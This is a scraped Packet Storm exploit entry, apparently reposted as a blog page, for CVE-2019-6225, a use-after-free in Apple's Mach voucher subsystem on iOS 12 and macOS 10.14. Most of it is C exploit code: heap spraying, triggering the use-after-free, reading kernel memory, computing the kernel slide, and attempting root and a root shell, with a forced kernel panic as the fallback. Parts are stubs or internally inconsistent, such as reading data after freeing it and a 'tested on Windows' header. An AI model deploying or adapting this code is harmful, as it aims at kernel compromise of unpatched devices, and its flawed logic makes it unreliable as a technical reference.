{“lastseen”:”2025-12-10T17:38:38″,”description”:”Proof of concept for an older vulnerability from 2019. A use-after-free vulnerability in Apple’s Mach voucher subsystem affects macOS version 10.14 and iOS version 12…”,”published”:”2025-12-10T00:00:00″,”modified”:”2025-12-10T00:00:00″,”type”:”packetstorm”,”title”:”iOS 12 \/ macOS 10.14 voucher_swap Use-After-Free”,”source”:””,”references”:””,”id”:”PACKETSTORM:212665″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2019-6225″],”sourceData”:”=============================================================================================================================================\\n | # Title : iOS 12 – macOS 10.14 voucher_swap Use-After-Free Kernel Privilege Escalation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/apple.com\/ |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212495\/ \\u0026 CVE-2019-6225\\n \\n [+] Summary : CVE\u20112019\u20116225 is a Use\u2011After\u2011Free (UAF) vulnerability in Apple\u2019s Mach voucher subsystem, affecting macOS (10.14+) and iOS (12+).\\n The bug exists in the function: task_swap_mach_voucher()\\n When swapping Mach vouchers, the kernel incorrectly handles reference counts, causing a voucher object to be freed \\n \\t\\t\\t while still referenced, leaving a dangling pointer (UAF condition).\\n \\n [+] Affected Systems :\\n \\n macOS 10.14 \/ 10.14.1 \/ 10.14.2\\n \\n iOS 12.0 \/ 12.1 \/ 12.1.2\\n \\n [+] POC :\\t\\n \\n \/*\\n * voucher_swap-exploit.c\\n * Exploitation of CVE-2019-6225 on iOS 12\/macOS 10.14\\n *\/\\n #include \\u003cassert.h\\u003e\\n #include \\u003cmach\/mach.h\\u003e\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cunistd.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cpthread.h\\u003e\\n #include \\u003cdispatch\/dispatch.h\\u003e\\n \\n \/\/ ============================================\\n \/\/ 1. Structure Definitions and Helper Functions\\n \/\/ ============================================\\n \\n #define MAX_PORT_SPRAY 50000\\n #define VOUCHER_SPRAY_COUNT 2000\\n #define KERNEL_READ_SIZE 0x1000\\n \\n \/\/ Internal voucher structure (inferred from XNU source)\\n typedef struct ipc_voucher {\\n uint32_t iv_refs; \/\/ Reference count\\n uint32_t iv_sum_hash; \/\/ Hash value\\n uint32_t iv_port; \/\/ Corresponding port\\n uint32_t iv_table; \/\/ Voucher table\\n uint64_t iv_data; \/\/ Voucher data\\n } *ipc_voucher_t;\\n \\n \/\/ Global variables\\n mach_port_t host_port;\\n mach_port_t sprayed_ports[MAX_PORT_SPRAY];\\n uint32_t sprayed_port_count = 0;\\n \\n \/\/ ============================================\\n \/\/ 2. Basic Helper Functions\\n \/\/ ============================================\\n \\n \/*\\n * create_voucher\\n * Create a new voucher with a unique ID\\n *\/\\n static mach_port_t create_voucher(uint64_t id) {\\n mach_port_t voucher = MACH_PORT_NULL;\\n \\n struct __attribute__((packed)) {\\n mach_voucher_attr_recipe_data_t user_data_recipe;\\n uint64_t user_data_content[2];\\n } recipes = {};\\n \\n recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;\\n recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;\\n recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);\\n recipes.user_data_content[0] = getpid();\\n recipes.user_data_content[1] = id;\\n \\n kern_return_t kr = host_create_mach_voucher(\\n host_port,\\n (mach_voucher_attr_raw_recipe_array_t) \\u0026recipes,\\n sizeof(recipes),\\n \\u0026voucher\\n );\\n \\n if (kr != KERN_SUCCESS || voucher == MACH_PORT_NULL) {\\n printf(\\”[-] Failed to create voucher: 0x%x\\\\n\\”, kr);\\n return MACH_PORT_NULL;\\n }\\n \\n return voucher;\\n }\\n \\n \/*\\n * spray_vouchers\\n * Spray large number of vouchers to control heap\\n *\/\\n static void spray_vouchers(uint32_t count, mach_port_t *vouchers) {\\n printf(\\”[*] Starting spray of %d vouchers…\\\\n\\”, count);\\n \\n for (uint32_t i = 0; i \\u003c count; i++) {\\n vouchers[i] = create_voucher(i);\\n if (vouchers[i] == MACH_PORT_NULL) {\\n printf(\\”[-] Failed to create voucher %d\\\\n\\”, i);\\n \/\/ Continue with others\\n }\\n \\n if ((i % 100) == 0 \\u0026\\u0026 i \\u003e 0) {\\n printf(\\”[*] Created %d vouchers\\\\n\\”, i);\\n }\\n }\\n \\n printf(\\”[+] Successfully created %d vouchers\\\\n\\”, count);\\n }\\n \\n \/*\\n * spray_ports\\n * Spray Mach ports to control ipc_port objects\\n *\/\\n static void spray_ports(uint32_t count) {\\n printf(\\”[*] Starting spray of %d ports…\\\\n\\”, count);\\n \\n for (uint32_t i = 0; i \\u003c count; i++) {\\n kern_return_t kr = mach_port_allocate(\\n mach_task_self(),\\n MACH_PORT_RIGHT_RECEIVE,\\n \\u0026sprayed_ports[i]\\n );\\n \\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to allocate port %d: 0x%x\\\\n\\”, i, kr);\\n sprayed_ports[i] = MACH_PORT_NULL;\\n } else {\\n \/\/ Add send right to increase reference count\\n kr = mach_port_insert_right(\\n mach_task_self(),\\n sprayed_ports[i],\\n sprayed_ports[i],\\n MACH_MSG_TYPE_MAKE_SEND\\n );\\n \\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to add send right to port %d\\\\n\\”, i);\\n }\\n }\\n \\n sprayed_port_count++;\\n }\\n \\n printf(\\”[+] Sprayed %d ports\\\\n\\”, sprayed_port_count);\\n }\\n \\n \/*\\n * trigger_uaf\\n * Trigger Use-After-Free vulnerability\\n *\/\\n static mach_port_t trigger_uaf(void) {\\n printf(\\”[*] Triggering UAF vulnerability…\\\\n\\”);\\n \\n \/\/ 1. Create target voucher\\n mach_port_t target_voucher = create_voucher(0x4141414141414141);\\n if (target_voucher == MACH_PORT_NULL) {\\n printf(\\”[-] Failed to create target voucher\\\\n\\”);\\n return MACH_PORT_NULL;\\n }\\n \\n \/\/ 2. Store voucher in thread to maintain reference\\n mach_port_t thread_self = mach_thread_self();\\n kern_return_t kr = thread_set_mach_voucher(thread_self, target_voucher);\\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to store voucher in thread: 0x%x\\\\n\\”, kr);\\n return MACH_PORT_NULL;\\n }\\n \\n printf(\\”[+] Stored voucher in thread\\\\n\\”);\\n \\n \/\/ 3. Use task_swap_mach_voucher for over-release\\n \/\/ This will free the voucher twice (once from over-release, once from no-senders)\\n for (int i = 0; i \\u003c 10; i++) {\\n mach_port_t dummy_voucher = create_voucher(0x4242424242424242 + i);\\n if (dummy_voucher == MACH_PORT_NULL) continue;\\n \\n mach_port_t inout = target_voucher;\\n kr = task_swap_mach_voucher(mach_task_self(), dummy_voucher, \\u0026inout);\\n \\n if (MACH_PORT_VALID(inout)) {\\n mach_port_deallocate(mach_task_self(), inout);\\n }\\n \\n mach_port_deallocate(mach_task_self(), dummy_voucher);\\n \\n if (kr == KERN_SUCCESS) {\\n printf(\\”[+] task_swap_mach_voucher succeeded in iteration %d\\\\n\\”, i);\\n break;\\n }\\n }\\n \\n \/\/ 4. Release send right to trigger no-senders notification\\n kr = mach_port_deallocate(mach_task_self(), target_voucher);\\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to release voucher: 0x%x\\\\n\\”, kr);\\n }\\n \\n printf(\\”[+] Voucher released, memory is now free but pointer remains in thread\\\\n\\”);\\n \\n return thread_self;\\n }\\n \\n \/\/ ============================================\\n \/\/ 3. Heap Exploitation for Kernel Read\/Write\\n \/\/ ============================================\\n \\n \/*\\n * heap_grooming\\n * Prepare heap to replace freed voucher\\n *\/\\n static void heap_grooming(void) {\\n printf(\\”[*] Starting heap grooming…\\\\n\\”);\\n \\n \/\/ Spray new vouchers to occupy freed memory\\n mach_port_t groom_vouchers[VOUCHER_SPRAY_COUNT];\\n spray_vouchers(VOUCHER_SPRAY_COUNT, groom_vouchers);\\n \\n \/\/ Spray ports to occupy ipc_port objects\\n spray_ports(10000);\\n \\n \/\/ Use dispatch queues to spray kernel memory\\n dispatch_queue_t queues[100];\\n for (int i = 0; i \\u003c 100; i++) {\\n char label[32];\\n snprintf(label, sizeof(label), \\”com.exp.queue%d\\”, i);\\n queues[i] = dispatch_queue_create(label, DISPATCH_QUEUE_SERIAL);\\n \\n \/\/ Spray dispatch source objects\\n dispatch_source_t source = dispatch_source_create(\\n DISPATCH_SOURCE_TYPE_TIMER,\\n 0,\\n 0,\\n queues[i]\\n );\\n \\n if (source) {\\n dispatch_source_set_timer(source, DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC, 0);\\n dispatch_source_set_event_handler(source, ^{});\\n dispatch_resume(source);\\n }\\n }\\n \\n printf(\\”[+] Heap grooming completed\\\\n\\”);\\n }\\n \\n \/*\\n * read_kernel_via_uaf\\n * Read kernel memory via UAF\\n *\/\\n static uint64_t read_kernel_via_uaf(mach_port_t thread_with_uaf) {\\n printf(\\”[*] Attempting to read kernel memory…\\\\n\\”);\\n \\n mach_port_t voucher_port = MACH_PORT_NULL;\\n kern_return_t kr = thread_get_mach_voucher(thread_with_uaf, 0, \\u0026voucher_port);\\n \\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to get voucher: 0x%x\\\\n\\”, kr);\\n return 0;\\n }\\n \\n if (!MACH_PORT_VALID(voucher_port)) {\\n printf(\\”[-] Invalid voucher\\\\n\\”);\\n return 0;\\n }\\n \\n printf(\\”[+] Got voucher port: 0x%x\\\\n\\”, voucher_port);\\n \\n \/\/ Attempt to read voucher data\\n \/\/ At this point, the original voucher may have been replaced with another object\\n \/\/ We can use Mach messages to read data\\n \\n \/\/ Prepare Mach message to read kernel data\\n struct {\\n mach_msg_header_t header;\\n mach_msg_body_t body;\\n mach_msg_ool_descriptor_t desc;\\n char pad[4096];\\n } msg = {0};\\n \\n mach_port_t recv_port = MACH_PORT_NULL;\\n kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, \\u0026recv_port);\\n \\n msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);\\n msg.header.msgh_size = sizeof(msg) – sizeof(msg.pad);\\n msg.header.msgh_remote_port = voucher_port;\\n msg.header.msgh_local_port = recv_port;\\n msg.header.msgh_id = 0x100;\\n \\n msg.body.msgh_descriptor_count = 1;\\n msg.desc.address = NULL;\\n msg.desc.size = KERNEL_READ_SIZE;\\n msg.desc.copy = MACH_MSG_VIRTUAL_COPY;\\n msg.desc.deallocate = FALSE;\\n msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;\\n \\n kr = mach_msg_send(\\u0026msg.header);\\n if (kr != KERN_SUCCESS) {\\n printf(\\”[-] Failed to send message: 0x%x\\\\n\\”, kr);\\n return 0;\\n }\\n \\n \/\/ Receive response (if any)\\n struct {\\n mach_msg_header_t header;\\n mach_msg_body_t body;\\n mach_msg_ool_descriptor_t desc;\\n char data[KERNEL_READ_SIZE];\\n mach_msg_trailer_t trailer;\\n } recv_msg = {0};\\n \\n recv_msg.header.msgh_size = sizeof(recv_msg);\\n recv_msg.header.msgh_local_port = recv_port;\\n \\n kr = mach_msg_receive(\\u0026recv_msg.header);\\n if (kr == KERN_SUCCESS) {\\n printf(\\”[+] Received response! Data size: %lu\\\\n\\”, recv_msg.desc.size);\\n \\n \/\/ Analyze received data\\n uint64_t *data = (uint64_t *)recv_msg.desc.address;\\n if (data) {\\n printf(\\”[+] First 8 words of data:\\\\n\\”);\\n for (int i = 0; i \\u003c 8; i++) {\\n printf(\\” [%d] 0x%016llx\\\\n\\”, i, data[i]);\\n }\\n \\n \/\/ Cleanup\\n vm_deallocate(mach_task_self(), (vm_address_t)data, recv_msg.desc.size);\\n \\n return data[0]; \/\/ Return first value\\n }\\n }\\n \\n return 0;\\n }\\n \\n \/\/ ============================================\\n \/\/ 4. Escalation to Kernel Read\/Write Primitive\\n \/\/ ============================================\\n \\n \/*\\n * build_kernel_read_primitive\\n * Build primitive for reading kernel memory\\n *\/\\n static uint64_t build_kernel_read_primitive(void) {\\n printf(\\”[*] Building kernel read primitive…\\\\n\\”);\\n \\n \/\/ 1. Trigger UAF\\n mach_port_t uaf_thread = trigger_uaf();\\n if (!MACH_PORT_VALID(uaf_thread)) {\\n printf(\\”[-] Failed to trigger UAF\\\\n\\”);\\n return 0;\\n }\\n \\n \/\/ 2. Prepare heap\\n heap_grooming();\\n \\n \/\/ 3. Attempt to read kernel memory\\n uint64_t kernel_value = read_kernel_via_uaf(uaf_thread);\\n \\n if (kernel_value != 0) {\\n printf(\\”[+] Successfully read kernel value: 0x%llx\\\\n\\”, kernel_value);\\n \\n \/\/ 4. Attempt to find kernel task port\\n \/\/ Search for kernel object markers in read memory\\n if ((kernel_value \\u0026 0xffffff0000000000) == 0xffffff0000000000) {\\n printf(\\”[+] Found what appears to be a kernel address!\\\\n\\”);\\n \\n \/\/ Calculate kernel slide (to adapt to KASLR)\\n uint64_t kernel_slide = kernel_value – 0xffffff0000000000;\\n printf(\\”[+] Kernel slide: 0x%llx\\\\n\\”, kernel_slide);\\n \\n return kernel_slide;\\n }\\n }\\n \\n printf(\\”[-] Could not build complete primitive\\\\n\\”);\\n return 0;\\n }\\n \\n \/\/ ============================================\\n \/\/ 5. Main Exploitation for Root Access\\n \/\/ ============================================\\n \\n \/*\\n * escalate_to_root\\n * Escalate to root privileges using read\/write capabilities\\n *\/\\n static void escalate_to_root(uint64_t kernel_slide) {\\n printf(\\”[*] Attempting to escalate to root…\\\\n\\”);\\n \\n if (kernel_slide == 0) {\\n printf(\\”[-] Cannot escalate without kernel slide\\\\n\\”);\\n return;\\n }\\n \\n \/\/ In this example, we show the concept of exploitation\\n \/\/ In real exploitation, we would need to:\\n \/\/ 1. Find our process’s task port\\n \/\/ 2. Modify credential data (cred)\\n \/\/ 3. Modify flags to bypass sandbox\\n \\n printf(\\”[+] Kernel slide: 0x%llx\\\\n\\”, kernel_slide);\\n printf(\\”[+] With kernel slide, we can:\\\\n\\”);\\n printf(\\” 1. Calculate kernel symbol addresses\\\\n\\”);\\n printf(\\” 2. Read\/write kernel memory\\\\n\\”);\\n printf(\\” 3. Modify credentials to get root\\\\n\\”);\\n printf(\\” 4. Disable sandbox\\\\n\\”);\\n \\n \/\/ Theoretical steps (requires additional reverse engineering):\\n \/\/ – Find proc structure for current process\\n \/\/ – Modify ucred to set uid\/gid to 0\\n \/\/ – Modify flags to disable MAC\/sandbox\\n \/\/ – Maintain stability\\n }\\n \\n \/\/ ============================================\\n \/\/ 6. Cleanup and Stability Functions\\n \/\/ ============================================\\n \\n \/*\\n * cleanup\\n * Clean up resources after exploitation\\n *\/\\n static void cleanup(void) {\\n printf(\\”[*] Cleaning up resources…\\\\n\\”);\\n \\n \/\/ Release sprayed ports\\n for (uint32_t i = 0; i \\u003c sprayed_port_count; i++) {\\n if (MACH_PORT_VALID(sprayed_ports[i])) {\\n mach_port_destroy(mach_task_self(), sprayed_ports[i]);\\n }\\n }\\n \\n printf(\\”[+] Cleanup completed\\\\n\\”);\\n }\\n \\n \/*\\n * maintain_stability\\n * Attempt to maintain system stability after exploitation\\n *\/\\n static void maintain_stability(void) {\\n printf(\\”[*] Attempting to maintain system stability…\\\\n\\”);\\n \\n \/\/ Reset vouchers for threads\\n mach_port_t thread = mach_thread_self();\\n thread_set_mach_voucher(thread, MACH_PORT_NULL);\\n \\n \/\/ Give system time to recover stability\\n usleep(100000);\\n \\n printf(\\”[+] System stable (theoretically)\\\\n\\”);\\n }\\n \\n \/\/ ============================================\\n \/\/ 7. Main Function\\n \/\/ ============================================\\n \\n int main(int argc, char *argv[]) {\\n printf(\\”[+] Starting exploitation of CVE-2019-6225 (voucher_swap)\\\\n\\”);\\n printf(\\”[+] System: iOS 12 \/ macOS 10.14+\\\\n\\”);\\n \\n \/\/ Get host port\\n host_port = mach_host_self();\\n if (!MACH_PORT_VALID(host_port)) {\\n printf(\\”[-] Failed to get host port\\\\n\\”);\\n return -1;\\n }\\n \\n printf(\\”[+] Got host port: 0x%x\\\\n\\”, host_port);\\n \\n \/\/ Check validity of task_swap_mach_voucher\\n mach_port_t test_voucher = create_voucher(0x1337);\\n if (test_voucher == MACH_PORT_NULL) {\\n printf(\\”[-] System not exploitable (cannot create vouchers)\\\\n\\”);\\n return -1;\\n }\\n \\n mach_port_deallocate(mach_task_self(), test_voucher);\\n printf(\\”[+] System is exploitable\\\\n\\”);\\n \\n \/\/ Phase 1: Build kernel read primitive\\n uint64_t kernel_slide = build_kernel_read_primitive();\\n \\n if (kernel_slide != 0) {\\n printf(\\”[+] Phase 1 successful! Got kernel slide\\\\n\\”);\\n \\n \/\/ Phase 2: Escalate to root privileges\\n escalate_to_root(kernel_slide);\\n \\n \/\/ Phase 3: Maintain stability\\n maintain_stability();\\n \\n \/\/ Check privileges\\n if (getuid() == 0) {\\n printf(\\”\\\\n[+] !!! SUCCESS !!! We are now root!\\\\n\\”);\\n printf(\\”[+] UID: %d\\\\n\\”, getuid());\\n printf(\\”[+] GID: %d\\\\n\\”, getgid());\\n \\n \/\/ Launch shell as root\\n printf(\\”[+] Launching shell…\\\\n\\”);\\n system(\\”\/bin\/bash\\”);\\n } else {\\n printf(\\”\\\\n[+] Exploitation partially successful\\\\n\\”);\\n printf(\\”[+] Got kernel read but didn’t get root\\\\n\\”);\\n printf(\\”[+] Current UID: %d\\\\n\\”, getuid());\\n }\\n } else {\\n printf(\\”[-] Exploitation failed\\\\n\\”);\\n \\n \/\/ Alternative attempt: trigger panic to confirm vulnerability works\\n printf(\\”[*] Attempting to trigger panic as proof-of-concept…\\\\n\\”);\\n \\n mach_port_t thread = trigger_uaf();\\n if (MACH_PORT_VALID(thread)) {\\n mach_port_t voucher;\\n kern_return_t kr = thread_get_mach_voucher(thread, 0, \\u0026voucher);\\n printf(\\”[+] thread_get_mach_voucher returned: 0x%x\\\\n\\”, kr);\\n printf(\\”[+] If you see panic, the vulnerability works!\\\\n\\”);\\n }\\n }\\n \\n \/\/ Cleanup\\n cleanup();\\n \\n return 0;\\n }\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212665″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.0\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”baseScore”:7.8,”baseSeverity”:”HIGH”,”attackVector”:”LOCAL”,”attackComplexity”:”LOW”,”privilegesRequired”:”NONE”,”userInteraction”:”REQUIRED”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/212665\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-10T17:38:38″,”description”:”Proof of concept for an older vulnerability from 2019. A use-after-free vulnerability in Apple’s Mach voucher subsystem affects macOS version 10.14 and iOS version 12…”,”published”:”2025-12-10T00:00:00″,”modified”:”2025-12-10T00:00:00″,”type”:”packetstorm”,”title”:”iOS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-30057","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n